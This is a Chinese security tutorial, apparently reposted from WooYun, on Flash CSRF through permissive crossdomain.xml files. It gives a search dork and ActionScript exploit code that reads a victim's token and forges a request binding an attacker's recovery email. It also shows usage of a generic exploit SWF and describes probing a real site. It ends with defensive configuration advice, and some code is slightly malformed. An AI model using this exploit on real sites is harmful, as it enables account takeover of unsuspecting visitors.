<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/688

    目錄


    0x00 Flash CSRF 名詞解釋
    0x01 Flash CSRF形成的原因
    0x02 Flash CSRF可以干些什么
    0x03 Flash CSRF如何利用
    0x04 Flash CSRF怎么防御
    

    0x00 Flash CSRF名詞解釋


    CSRF(Cross-site request forgery跨站請求偽造,是一種對網站的惡意利用,CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。

    Flash CSRF通常是由于Crossdomain.xml文件配置不當造成的,利用方法是使用swf來發起跨站請求偽造。

    0x01 Flash CSRF形成的原因


    So 官腔我們也打了,還是要干點實事PS::)

    為人民服務的好孩子,我們來看看如何尋找Flash CSRF:

    首先我們要知道怎么形成CSRF的

    PS:CSRF形成的原因大概有以下幾種:

    Flash跨域權限管理文件設置為允許所有主機/域名跨域對本站進行讀寫數據:

    #!xml
    This XML file does not appear to have any style information associated with it. The document tree is shown below.
    <cross-domain-policy>
        <allow-access-from?domain="*"/>
    </cross-domain-policy>
    

    Flash跨域權限管理文件過濾規則不嚴(domain=”*”),導致可以從其它任何域傳Flash產生CSRF。

    0x02 如何來發現哪些地方存在Flash CSRF


    騷年們,前面我們介紹了形成Flash CSRF的原因,我們是不是就可以對站下藥了,難道又有一波個人資料被莫名被修改成“狗皮膏藥”廣告的節奏啊,敬告各位看官,看見了這篇文章之后請檢查自己的站是否存在Flash CSRF以免減少被舉報而帶來的巨額損失啊(吊絲們對各位看官望塵莫及啊):

    由上面我們得知Flash CSRF是因為跨域權限管理文件配置不當而產生的,所以我們可以在根目錄打開Crossdomain.xml來查看該網站或者只域名是否存在FLAH的CSRF:

    http://www.xxx.com/crossdomain.xml
    


    #!xml
    This XML file does not appear to have any style information associated with it. The document tree is shown below.
    <cross-domain-policy>
    <allow-access-from?domain="*"/>
    </cross-domain-policy>
    

    0x02 Flash CSRF可以干些什么


    在一個月黑風高的夜晚,Flash CSRF慢慢的在向XX網靠近,下面說說我是怎么找到XX網的Flash CSRF和利用XX網的Flash CSRF直接修改訪問者賬號信息。

    無聊的逛著各大新聞網站,感覺這些大部分新聞網站的新聞源都差不多沒幾下就看完了,最后覺得自己作為天朝一員還是應該關系關系下國家大事,就懵懂懂的打開了XX網,關心了下我國基本國情,始終耐不住寂寞,正好前兩天學習了Flash CSRF的原理和危害,但是一直沒找到東西練手,大家都知道天朝的網站是多么的牛B,但是也只是抱著試試的心態,完全就是小孩子玩玩泥巴而已了,玩笑時間到,回到正題:),我先打開xx網,按照剛剛前面查找該網站是否有Flash CSRF漏洞我們第一步該判斷什么?沒錯就是看官們看到的這樣,我也只是個凡人而已。。。。于是就有了如下的FlashCSRF漏洞查找流程:

    Google hack:crossdomain filetype:xml
    


    #!xml
    This XML file does not appear to have any style information associated with it. The document tree is shown below.
    <cross-domain-policy>
    <allow-access-from?domain="*" secure=”true”/>
    </cross-domain-policy>
    

    Secure=true的意思是只允許通過安全鏈接來請求本域的數據。

    隨手查看了發現前2個全都是需要用ssl證書加密了之后的網站里面的Flash的文件才能獲取本域的內容,突然之間腦海就浮現了一種奇怪的想法,自己搭建SSL網站,然后調用Flash文件進去不就可以讀他們網站的數據和發送post請求,可是又遇見瓶頸了,找了這么多地方我Flash還沒有地方可以插的,在不屑努力下,找到BLOG根目錄下面的CrossDomain.xml文件居然允許所有主機的Flash讀取本域的數據-PS:),下面我們就試試BLOG頁面,發現也有,當然耐心也是必須的。

    0x03 Flash CSRF如何利用


    我們找一個可以插入Flash的地方,插入我們自己寫的Flash,訪客訪問我們網頁就會執行我們寫的腳本,下面我們來看看Flash CSRF具體利用方法。 So~下面我們來制造一個訪客訪問我們鏈接的時候,自動設置自己的密保郵箱:

    首先我們添加保密郵箱點提交,然后抓包分析它提交了什么內容,然后來構造我們的Flash CSRF利用代碼,下面我們提交綁定保密郵箱請求,抓包分析它的數據。 申請保密郵箱,瀏覽器向服務端發送了一個POST請求,請求地址和參數為:

    POST:xxx.xxx.xx/xx.jsp?userid=xxxx&[email protected]
    

    [email protected]ferer,但是頁面驗證了Token,所以我們就可以直接把POST數據包中的請求地址,參數名,參數值,Token值取出來用于偽造綁定保密郵箱的請求。

    利用代碼:

    #!as3
    package {
        import flash.display.Sprite;
        import flash.events.Event;
        import flash.net.*;
        import flash.text.TextField;
        public class url extends Sprite
        {
            public function url()
            {
                //獲取當前頁面userid/token
                var echo_txt:TextField = new TextField();
                var targetURL:String = "http://xx.xx.cc";
                var request:URLRequest = new URLRequest(targetURL);
                request.method = URLRequestMethod.GET;
                request.data = "";
                sendToURL(request);
                var loader:URLLoader=new URLLoader();
                loader.addEventListener(Event.COMPLETE,completeHandler);
                function completeHandler(event:Event):void{
                var userid:String=((loader.data+"").match(/\/xxxx\/mxxxx\.php\?xxid=(\d+)/)||["",""])[1];
    
     var masthash:String=((loader.data+"").match(/\/xxxx\/mxxxx\.php\?masthash=(\d+)/)||["",""])[1];
                echo_txt.text =  masthash;
                //偽造申請密保郵箱POST請求
                var emailtargetURL:String = "http://xxxxxx.xx.cc/xxxx/xxxx.jsp?mark=send";
                var emailrequest:URLRequest = new URLRequest(emailtargetURL);
                emailrequest.method = URLRequestMethod.POST;
                var postdata:Object = new Array();
                postdata[0]="[email protected]&xxxx="+xxxxx&"xxxxx="+xxx;
                emailrequest.data = postdata[0];
                sendToURL(emailrequest);
                }
                loader.load(request);
            }
        }
    }
    

    我們用一個新賬號來做測試看看效果 :)

    0x04 Flash CSRF怎么防御


    知道Flash CSRF攻擊流程,然后在防御就so easy了~:)

    媽媽再也不擔心我被Flash CSRF啦~雖然各位看官都明白了怎么防御,但是還是照例啰嗦一下啦:

    一句話概括:站點根目錄CrossDomain.xml跨域獲取信息權限控制好,精確到子域,不給不法分子留下機會!! 附一份自己網站的CrossDomain.xml文件權限配置:

    #!xml
    <?xml version="1.0"?>
    <cross-domain-policy>
      <allow-access-from domain="http://xx.xx.com" secure="true”/>
    <allow-access-from domain="http://cc.xx.com" secure="true”/>
    </cross-domain-policy>
    

    根據自己的業務需求來更改CrossDomain.xml文件配置,切記精確到子域,這樣會大大減少Flash CSRF的風險!

    通用Flash CSRF EXP : FlashCSRFexp.swf

    使用方法:

    FlashCSRFexp.swf?url=http://www.xx.xx/x.jsp?&xx=xx&xx=xx&xx=xx&xx=xx
    PS:url=[post請求的地址]&[參數值用&分開]
    

    謝謝各位大牛捧場,十分感謝二哥,長短短,PKAV團隊的技術栽培 :)~

    97av